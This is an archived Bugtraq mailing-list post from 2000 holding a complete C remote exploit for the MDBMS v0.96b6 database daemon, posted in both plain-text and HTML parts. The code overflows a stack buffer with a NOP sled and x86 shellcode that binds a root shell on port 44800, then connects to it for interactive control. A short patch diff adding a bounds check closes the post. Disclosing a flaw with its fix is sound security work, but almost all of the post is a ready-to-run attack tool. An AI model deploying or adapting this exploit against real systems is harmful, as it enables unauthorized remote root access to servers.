[15018] in bugtraq

home help back first fref pref prev next nref lref last post

Remote xploit for MDBMS

daemon@ATHENA.MIT.EDU (|[TDP]|)
Wed May 24 14:35:57 2000

Mime-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_0095_01BFC568.DA6B50C0"
Message-Id:  <009a01bfc558$1a38fec0$01dc11ac@ofi.interno.peoplecall.com>
Date:         Wed, 24 May 2000 10:14:32 +0200
Reply-To: "|[TDP]|" <tdp@psynet.net>
From: "|[TDP]|" <tdp@PSYNET.NET>
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_0095_01BFC568.DA6B50C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

/*                     MDBMS V0.96b6 remote shell xploit=20
 *           11/05/2000  |[TDP]| <tdp@psynet.net>  -  HaCk-13 TeaM
 *
 *  This code shows a MDBMS v0.96b6 vulnerability in which, any remote
 * user can exec a shell. MDBMS daemon used to be ran as root user; =
exposing
 * the system to serious vulnerability risks, because any attacker can =
obtain
 * root priviledges remotely with this exploit
 *
 * Exploit tested on LiNUX SuSE 6.3... previous MDBMS versions may
 *  be affected by this vulnerability. Fix at end of this doc.
 *
 *      Greetings goes to all other members and all my friends
 *
 */
=20
 =20

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>

#define NOP     0x90
#define LEN     10008
#define RET     0xbffff586

/* Special shell code */
char shellcode[] =3D
  =
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89=
\xf1"
  =
"\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01=
\xcd"
  =
"\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\xaf\x66\x89\x46\x0e\x8d\x46\x0c=
\x89"
  =
"\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80=
\xeb"
  =
"\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0=
\x89"
  =
"\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd=
\x80"
  =
"\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89=
\x06"
  =
"\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46=
\x0c"
  =
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb=
\xcd"
  "\x80\xe8\x5b\xff\xff\xff";

long
resolveip (char *name)
{
  struct hostent *hp;
  long ip;

  if ((ip =3D inet_addr (name)) =3D=3D -1)
    {
      if ((hp =3D gethostbyname (name)) =3D=3D NULL)
 {
   fprintf (stderr, "Can't resolve host name [%s].\n", name);
   exit (0);
 }
      memcpy (&ip, (hp->h_addr), 4);
    }
  return (ip);
}

int
main (int argc, char *argv[])
{
  char buffer[LEN], buffer2[LEN + 10];
  long retaddr =3D RET;
  long remoteip;
  unsigned long sp;
  int i, a, shellsock, clisock;
  struct sockaddr_in clisin, shsin;
  char snd[4096], rcv[4096];
  fd_set rset;

  fprintf (stderr,
    "\nMDBMS v0.96b6 Remote Shell Xploit - <tdp@psynet.net>\n");

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s ip [offset]\n", argv[0]);
      exit (-1);
    }

  if (argc > 2)
    a =3D atoi (argv[2]);
  else
    a =3D 0;

  retaddr =3D retaddr + a;

  for (i =3D 0; i < LEN; i +=3D 4)
    *(long *) &buffer[i] =3D retaddr;

  for (i =3D 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) =3D NOP;

  memcpy (buffer + i, shellcode, strlen (shellcode));
  sprintf (buffer2, "%s\n", buffer);

  fprintf (stderr, "Connecting to remote MDBMS server...\n");
  fflush (stdout);
  remoteip =3D resolveip (argv[1]);
  clisock =3D socket (PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (clisock =3D=3D -1)
    {
      fprintf (stderr, "Can't create main socket");
      exit (-1);
    }
  clisin.sin_family =3D AF_INET;
  clisin.sin_port =3D htons (2224);
  clisin.sin_addr.s_addr =3D remoteip;
  if (connect (clisock, (struct sockaddr *) &clisin, sizeof (clisin)) =
=3D=3D -1)
    {
      fprintf (stderr, "Can't connect to the MDBMS fastport, trying =
normal port...\n");
      clisin.sin_family =3D AF_INET;
      clisin.sin_port =3D htons (2223);
      clisin.sin_addr.s_addr =3D remoteip;
      if (connect (clisock, (struct sockaddr *) &clisin, sizeof =
(clisin)) =3D=3D
   -1)
 {
   fprintf
     (stderr, "Can't connect to normalport... MDBMS is running in remote =
server?\n\n");
   exit (0);
 }
      exit (0);
    }

  switch (i =3D read (clisock, buffer, LEN))
    {
    case -1:
      {
 fprintf (stderr, "ClientSocket: unexpected EOF\n");
 exit (0);
      }
    case 0:
      {
 fprintf (stderr, "ClientSocket: EOF\n");
 exit (0);
      }
    default:
      buffer[i] =3D 0;
      fprintf (stderr, "%s\n", buffer);
      break;
    }
  fprintf (stderr, "Sending xploit, jumping to address 0x%lx\n", =
retaddr);
  i =3D write (clisock, buffer2, strlen (buffer2));
  fsync (clisock);
  if ((i < 10000) || (i > 10018))
    {
      fprintf (stderr, "ClientSocket: Error writing xploit\n");
      exit (0);
    }
  close (clisock);

  fprintf (stderr, "Waiting 2 secs for hell...\n");
  sleep (2);
/* shell stuFF */
  fprintf (stderr, "Connecting to the shell...\n");
  fflush (stdout);

  memset (&shsin, 0, sizeof (shsin));
  shsin.sin_family =3D AF_INET;
  shsin.sin_port =3D htons (44800);
  shsin.sin_addr.s_addr =3D remoteip;

  if ((shellsock =3D socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
      fprintf (stderr, "Can't create shell socket\n");
      exit (-1);
    }

  if (connect (shellsock, (struct sockaddr *) &shsin, sizeof (shsin)) < =
0)
    {
      fprintf (stderr, "Can't connect to the shell\n\n");
      exit (0);
    }

  fprintf (stderr, "Connected\n");

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fileno (stdin), &rset);
      FD_SET (shellsock, &rset);
      select (255, &rset, NULL, NULL, NULL);
      if (FD_ISSET (fileno (stdin), &rset))
 {
   memset (snd, 0, sizeof (snd));
   fgets (snd, sizeof (snd), stdin);
   write (shellsock, snd, strlen (snd));
 }
      if (FD_ISSET (shellsock, &rset))
 {
   memset (rcv, 0, sizeof (rcv));
   if (read (shellsock, rcv, sizeof (rcv)) <=3D 0)
     exit (0);
   fputs (rcv, stdout);
 }
    }

  return (0);
}


/* FIX ---  mdbmsfix.diff -------- cut here -----------

*** mdbms-0.99/include/interface.hh Sun Sep 21 13:48:21 1997
--- mdbms-0.99-fixed/include/interface.hh Wed May 12 01:00:55 2000
*************** class user
*** 71,73 ****
     void unload();
!    int nextline(char *, char *);
     void uprintf(char *, ...);
--- 71,73 ----
     void unload();
!    int nextline(char *, char *, int);
     void uprintf(char *, ...);
*** mdbms-0.99/mdbms/interface.cc Sat Nov  8 12:12:31 1997
--- mdbms-0.99-fixed/mdbms/interface.cc Wed May 12 01:00:10 2000
*************** void user::input()
*** 223,225 ****
  }
! int user::nextline(char *source, char *dest)
  {
--- 223,225 ----
  }
! int user::nextline(char *source, char *dest, int limit)
  {
*************** int user::nextline(char *source, char *d
*** 227,228 ****
--- 227,231 ----
     if (!where) return -1;
+ // Sec Fix - |[TDP]| <tdp@psynet.net> //
+    if ((where-source)>limit)
+       return(-1);
     *(where++)=3D'\0';
*************** void user::run()
*** 263,265 ****
     if (blocked) return;
!    while (nextline(inbuf,buf)!=3D-1)
     {
--- 266,268 ----
     if (blocked) return;
!    while (nextline(inbuf,buf,sizeof(buf))!=3D-1)
     {

--------------------- cuthere -----------------------*/


------=_NextPart_000_0095_01BFC568.DA6B50C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial=20
size=3D2>/*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
MDBMS V0.96b6 remote shell xploit=20
<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
11/05/2000&nbsp; |[TDP]| &lt;<A=20
href=3D"mailto:tdp@psynet.net">tdp@psynet.net</A>&gt;&nbsp; -&nbsp; =
HaCk-13=20
TeaM<BR>&nbsp;*<BR>&nbsp;* &nbsp;This code shows a MDBMS v0.96b6 =
vulnerability=20
in which, any remote<BR>&nbsp;* user can exec a shell. MDBMS daemon used =
to be=20
ran as root user; exposing<BR>&nbsp;* the system to serious =
vulnerability risks,=20
because any attacker can obtain<BR>&nbsp;* root priviledges remotely =
with this=20
exploit<BR>&nbsp;*<BR>&nbsp;*&nbsp;Exploit tested on LiNUX SuSE 6.3... =
previous=20
MDBMS versions may<BR>&nbsp;*&nbsp; be affected by this vulnerability. =
Fix at=20
end of this doc.<BR>&nbsp;*<BR>&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Greetings=20
goes to all other members and all my=20
friends<BR>&nbsp;*<BR>&nbsp;*/<BR>&nbsp;<BR>&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>#include &lt;stdio.h&gt;<BR>#include=20
&lt;unistd.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include=20
&lt;netdb.h&gt;<BR>#include &lt;netinet/in.h&gt;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>#define NOP&nbsp;&nbsp;&nbsp;&nbsp; =
0x90<BR>#define=20
LEN&nbsp;&nbsp;&nbsp;&nbsp; 10008<BR>#define RET&nbsp;&nbsp;&nbsp;&nbsp; =

0xbffff586</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>/* Special shell code */<BR>char =
shellcode[]=20
=3D<BR>&nbsp;=20
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89=
\xf1"<BR>&nbsp;=20
"\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01=
\xcd"<BR>&nbsp;=20
"\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\xaf\x66\x89\x46\x0e\x8d\x46\x0c=
\x89"<BR>&nbsp;=20
"\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80=
\xeb"<BR>&nbsp;=20
"\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0=
\x89"<BR>&nbsp;=20
"\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd=
\x80"<BR>&nbsp;=20
"\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89=
\x06"<BR>&nbsp;=20
"\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46=
\x0c"<BR>&nbsp;=20
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb=
\xcd"<BR>&nbsp;=20
"\x80\xe8\x5b\xff\xff\xff";</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>long<BR>resolveip (char =
*name)<BR>{<BR>&nbsp;=20
struct hostent *hp;<BR>&nbsp; long ip;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; if ((ip =3D inet_addr (name)) =
=3D=3D=20
-1)<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((hp =
=3D=20
gethostbyname (name)) =3D=3D NULL)<BR>&nbsp;{<BR>&nbsp;&nbsp; fprintf =
(stderr,=20
"Can't resolve host name [%s].\n", name);<BR>&nbsp;&nbsp; exit=20
(0);<BR>&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy (&amp;ip,=20
(hp-&gt;h_addr), 4);<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp; return=20
(ip);<BR>}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>int<BR>main (int argc, char =
*argv[])<BR>{<BR>&nbsp;=20
char buffer[LEN], buffer2[LEN + 10];<BR>&nbsp; long retaddr =3D =
RET;<BR>&nbsp;=20
long remoteip;<BR>&nbsp; unsigned long sp;<BR>&nbsp; int i, a, =
shellsock,=20
clisock;<BR>&nbsp; struct sockaddr_in clisin, shsin;<BR>&nbsp; char =
snd[4096],=20
rcv[4096];<BR>&nbsp; fd_set rset;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; fprintf =
(stderr,<BR>&nbsp;&nbsp;&nbsp;=20
"\nMDBMS v0.96b6 Remote Shell Xploit - &lt;<A=20
href=3D"mailto:tdp@psynet.net">tdp@psynet.net</A>&gt;\n");</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; if (argc &lt; =
2)<BR>&nbsp;&nbsp;&nbsp;=20
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf (stderr, "Usage: %s ip =
[offset]\n",=20
argv[0]);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit =
(-1);<BR>&nbsp;&nbsp;&nbsp;=20
}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; if (argc &gt; =
2)<BR>&nbsp;&nbsp;&nbsp; a =3D=20
atoi (argv[2]);<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; a =3D =
0;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; retaddr =3D retaddr + =
a;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; for (i =3D 0; i &lt; LEN; i +=3D =

4)<BR>&nbsp;&nbsp;&nbsp; *(long *) &amp;buffer[i] =3D =
retaddr;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; for (i =3D 0; i &lt; (LEN - =
strlen (shellcode)=20
- 100); i++)<BR>&nbsp;&nbsp;&nbsp; *(buffer + i) =3D NOP;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; memcpy (buffer + i, shellcode, =
strlen=20
(shellcode));<BR>&nbsp; sprintf (buffer2, "%s\n", buffer);</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; fprintf (stderr, "Connecting to =
remote MDBMS=20
server...\n");<BR>&nbsp; fflush (stdout);<BR>&nbsp; remoteip =3D =
resolveip=20
(argv[1]);<BR>&nbsp; clisock =3D socket (PF_INET, SOCK_STREAM,=20
IPPROTO_TCP);<BR>&nbsp; if (clisock =3D=3D -1)<BR>&nbsp;&nbsp;&nbsp;=20
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf (stderr, "Can't create main=20
socket");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit =
(-1);<BR>&nbsp;&nbsp;&nbsp;=20
}<BR>&nbsp; clisin.sin_family =3D AF_INET;<BR>&nbsp; clisin.sin_port =3D =
htons=20
(2224);<BR>&nbsp; clisin.sin_addr.s_addr =3D remoteip;<BR>&nbsp; if =
(connect=20
(clisock, (struct sockaddr *) &amp;clisin, sizeof (clisin)) =3D=3D=20
-1)<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf =
(stderr,=20
"Can't connect to the MDBMS fastport, trying normal=20
port...\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; clisin.sin_family =3D=20
AF_INET;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; clisin.sin_port =3D htons=20
(2223);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; clisin.sin_addr.s_addr =3D=20
remoteip;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (connect (clisock, =
(struct=20
sockaddr *) &amp;clisin, sizeof (clisin)) =3D=3D<BR>&nbsp;&nbsp;=20
-1)<BR>&nbsp;{<BR>&nbsp;&nbsp; fprintf<BR>&nbsp;&nbsp;&nbsp;&nbsp; =
(stderr,=20
"Can't connect to normalport... MDBMS is running in remote=20
server?\n\n");<BR>&nbsp;&nbsp; exit=20
(0);<BR>&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit=20
(0);<BR>&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; switch (i =3D read (clisock, =
buffer,=20
LEN))<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; case=20
-1:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;fprintf (stderr, =
"ClientSocket:=20
unexpected EOF\n");<BR>&nbsp;exit (0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

}<BR>&nbsp;&nbsp;&nbsp; case 0:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
{<BR>&nbsp;fprintf (stderr, "ClientSocket: EOF\n");<BR>&nbsp;exit=20
(0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;=20
default:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer[i] =3D=20
0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf (stderr, "%s\n",=20
buffer);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;=20
}<BR>&nbsp; fprintf (stderr, "Sending xploit, jumping to address =
0x%lx\n",=20
retaddr);<BR>&nbsp; i =3D write (clisock, buffer2, strlen =
(buffer2));<BR>&nbsp;=20
fsync (clisock);<BR>&nbsp; if ((i &lt; 10000) || (i &gt;=20
10018))<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
fprintf=20
(stderr, "ClientSocket: Error writing=20
xploit\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit =
(0);<BR>&nbsp;&nbsp;&nbsp;=20
}<BR>&nbsp; close (clisock);</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; fprintf (stderr, "Waiting 2 secs =
for=20
hell...\n");<BR>&nbsp; sleep (2);<BR>/* shell stuFF */<BR>&nbsp; fprintf =

(stderr, "Connecting to the shell...\n");<BR>&nbsp; fflush=20
(stdout);</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; memset (&amp;shsin, 0, sizeof=20
(shsin));<BR>&nbsp; shsin.sin_family =3D AF_INET;<BR>&nbsp; =
shsin.sin_port =3D htons=20
(44800);<BR>&nbsp; shsin.sin_addr.s_addr =3D remoteip;</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; if ((shellsock =3D socket =
(PF_INET,=20
SOCK_STREAM, IPPROTO_TCP)) &lt; 0)<BR>&nbsp;&nbsp;&nbsp;=20
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf (stderr, "Can't create shell =

socket\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit =
(-1);<BR>&nbsp;&nbsp;&nbsp;=20
}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; if (connect (shellsock, (struct =
sockaddr *)=20
&amp;shsin, sizeof (shsin)) &lt; 0)<BR>&nbsp;&nbsp;&nbsp;=20
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf (stderr, "Can't connect to =
the=20
shell\n\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit =
(0);<BR>&nbsp;&nbsp;&nbsp;=20
}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; fprintf (stderr,=20
"Connected\n");</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; while (1)<BR>&nbsp;&nbsp;&nbsp;=20
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FD_ZERO=20
(&amp;rset);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FD_SET (fileno (stdin),=20
&amp;rset);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FD_SET (shellsock,=20
&amp;rset);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; select (255, &amp;rset, =
NULL,=20
NULL, NULL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FD_ISSET (fileno =
(stdin),=20
&amp;rset))<BR>&nbsp;{<BR>&nbsp;&nbsp; memset (snd, 0, sizeof=20
(snd));<BR>&nbsp;&nbsp; fgets (snd, sizeof (snd), =
stdin);<BR>&nbsp;&nbsp; write=20
(shellsock, snd, strlen =
(snd));<BR>&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if=20
(FD_ISSET (shellsock, &amp;rset))<BR>&nbsp;{<BR>&nbsp;&nbsp; memset =
(rcv, 0,=20
sizeof (rcv));<BR>&nbsp;&nbsp; if (read (shellsock, rcv, sizeof (rcv)) =
&lt;=3D=20
0)<BR>&nbsp;&nbsp;&nbsp;&nbsp; exit (0);<BR>&nbsp;&nbsp; fputs (rcv,=20
stdout);<BR>&nbsp;}<BR>&nbsp;&nbsp;&nbsp; }</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; return (0);<BR>}</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><BR>/* FIX ---&nbsp; mdbmsfix.diff =
-------- cut=20
here -----------</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>*** =
mdbms-0.99/include/interface.hh&nbsp;Sun Sep 21=20
13:48:21 1997<BR>--- mdbms-0.99-fixed/include/interface.hh&nbsp;Wed May =
12=20
01:00:55 2000<BR>*************** class user<BR>*** 71,73=20
****<BR>&nbsp;&nbsp;&nbsp;&nbsp; void unload();<BR>!&nbsp;&nbsp;&nbsp; =
int=20
nextline(char *, char *);<BR>&nbsp;&nbsp;&nbsp;&nbsp; void uprintf(char =
*,=20
...);<BR>--- 71,73 ----<BR>&nbsp;&nbsp;&nbsp;&nbsp; void=20
unload();<BR>!&nbsp;&nbsp;&nbsp; int nextline(char *, char *,=20
int);<BR>&nbsp;&nbsp;&nbsp;&nbsp; void uprintf(char *, ...);<BR>***=20
mdbms-0.99/mdbms/interface.cc&nbsp;Sat Nov&nbsp; 8 12:12:31 1997<BR>---=20
mdbms-0.99-fixed/mdbms/interface.cc&nbsp;Wed May 12 01:00:10=20
2000<BR>*************** void user::input()<BR>*** 223,225 ****<BR>&nbsp; =
}<BR>!=20
int user::nextline(char *source, char *dest)<BR>&nbsp; {<BR>--- 223,225=20
----<BR>&nbsp; }<BR>! int user::nextline(char *source, char *dest, int=20
limit)<BR>&nbsp; {<BR>*************** int user::nextline(char *source, =
char=20
*d<BR>*** 227,228 ****<BR>--- 227,231 ----<BR>&nbsp;&nbsp;&nbsp;&nbsp; =
if=20
(!where) return -1;<BR>+ // Sec Fix - |[TDP]| &lt;<A=20
href=3D"mailto:tdp@psynet.net">tdp@psynet.net</A>&gt; =
//<BR>+&nbsp;&nbsp;&nbsp; if=20
((where-source)&gt;limit)<BR>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
return(-1);<BR>&nbsp;&nbsp;&nbsp;&nbsp; =
*(where++)=3D'\0';<BR>*************** void=20
user::run()<BR>*** 263,265 ****<BR>&nbsp;&nbsp;&nbsp;&nbsp; if (blocked) =

return;<BR>!&nbsp;&nbsp;&nbsp; while=20
(nextline(inbuf,buf)!=3D-1)<BR>&nbsp;&nbsp;&nbsp;&nbsp; {<BR>--- 266,268 =

----<BR>&nbsp;&nbsp;&nbsp;&nbsp; if (blocked) =
return;<BR>!&nbsp;&nbsp;&nbsp;=20
while =
(nextline(inbuf,buf,sizeof(buf))!=3D-1)<BR>&nbsp;&nbsp;&nbsp;&nbsp;=20
{</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>--------------------- cuthere=20
-----------------------*/<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_0095_01BFC568.DA6B50C0--

home help back first fref pref prev next nref lref last post